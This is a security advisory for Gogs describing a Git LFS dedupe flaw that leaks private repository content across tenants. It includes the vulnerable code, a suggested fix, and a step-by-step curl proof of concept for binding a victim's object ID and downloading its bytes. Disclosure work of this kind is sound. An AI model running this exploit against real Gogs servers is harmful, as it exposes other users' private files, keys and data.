Gogs: LFS dedupe path leaks private repo content across tenants

Summary

Git LFS storage is content-addressed by OID alone (/<oid[0]>/<oid[1]>/) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.

Details

Dedupe shortcut at internal/lfsx/storage.go:79-82:

if fi, err := os.Stat(fpath); err == nil {
    _, _ = io.Copy(io.Discard, rc)
    return fi.Size(), nil          // ← returns success with no hash check
}

Hash verification at internal/lfsx/storage.go:106-108 only runs in the *new-file* branch — the dedupe path returns earlier.

serveUpload (internal/route/lfs/basic.go:78-114) trusts that success and inserts the per-repo binding:

_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid)   // per-repo
if err == nil { /* already linked, drain & return 200 */ }
written, err := s.Upload(oid, c.Req.Request.Body)
err = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())

CreateLFSObject is an unconditional INSERT on (repo_id, oid) with no check that the OID is referenced by the requesting repo's git history.

serveDownload at internal/route/lfs/basic.go:42-72 only consults the per-repo row, then streams from the shared content-addressed file.

Suggested fix

1. In LocalStorage.Upload, when os.Stat(fpath) == nil, hash the request body via io.TeeReader and ErrOIDMismatch on disagreement — same code path as the new-file branch already uses. The "client retries after partial failure" use case still works; the retry just has to send the correct content.
2. Optional second layer: in serveUpload, refuse CreateLFSObject unless the OID is referenced by an LFS pointer in the requesting repo's refs.

PoC

Tested against gogs at HEAD d7571322 (also reproduces on v0.14.2, paths are internal/lfsutil/storage.go and identical logic).

### Reproduction prerequisites - Running gogs ≥ 0.12.0 with [lfs] ENABLED = true. - Two accounts: alice (private repo secrets) and bob (any repo bob/scratch); bob has no access to alice/secrets. - An OID known to be present in alice/secrets — leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).

Setup (testbed simulation of the victim's prior state)

GOGS=https://gogs.example
ALICE_AUTH='-u alice:alice_password'
BOB_AUTH='-u bob:bob_password'

VICTIM_BYTES='victim secret content'
OID=$(printf %s "$VICTIM_BYTES" | sha256sum | cut -d' ' -f1)
SIZE=$(printf %s "$VICTIM_BYTES" | wc -c)

# After this, file lives at <conf.LFS.ObjectsPath>/<OID[0]>/<OID[1]>/
# and (alice/secrets, OID) row exists in lfs_object.
printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \
  -H 'Content-Type: application/octet-stream' \
  -X PUT --data-binary @- \
  "$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID"

Attack — bob has only $OID, not $VICTIM_BYTES

unset VICTIM_BYTES   # attacker has no idea what the file contains

# 1. Confirm bob has no claim on $OID.
curl -sS $BOB_AUTH \
  -H 'Accept: application/vnd.git-lfs+json' \
  -H 'Content-Type: application/vnd.git-lfs+json' \
  -X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \
  --data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → "actions":{"error":{"code":404,"message":"Object does not exist"}}

# 2. PUT garbage to bob's LFS endpoint. The on-disk OID file already exists
#    so LocalStorage.Upload takes the dedupe shortcut: drains the body
#    without hashing, returns alice's size; CreateLFSObject inserts (bob, OID).
curl -sS $BOB_AUTH \
  -H 'Content-Type: application/octet-stream' \
  -X PUT --data-binary 'irrelevant attacker-controlled bytes' \
  "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID"
# → HTTP/1.1 200 OK

# 3. Download via bob's repo — gogs streams alice's bytes.
curl -sS $BOB_AUTH "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" -o /tmp/leaked
cat /tmp/leaked
# → victim secret content
sha256sum /tmp/leaked | cut -d' ' -f1
# → matches $OID exactly

Independent confirmation against the source

git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322

sed -n '63,114p' internal/lfsx/storage.go      # dedupe at 79-82, hash check at 106 only in new-file branch
sed -n '74,117p' internal/route/lfs/basic.go   # serveUpload calls CreateLFSObject regardless of dedupe path
grep -n 'primaryKey' internal/database/lfs.go  # composite (RepoID, OID) PK — multiple repos can share an OID row

Impact

• Cross-tenant disclosure of any LFS object on the instance. Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation.
• LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers — all extracted byte-for-byte.
• Persistent: the (bob/scratch, OID) row pins read access until manually deleted; removing bob's repo write access does not revoke prior binds. No artefact on victim's side beyond a 200 in the LFS access log.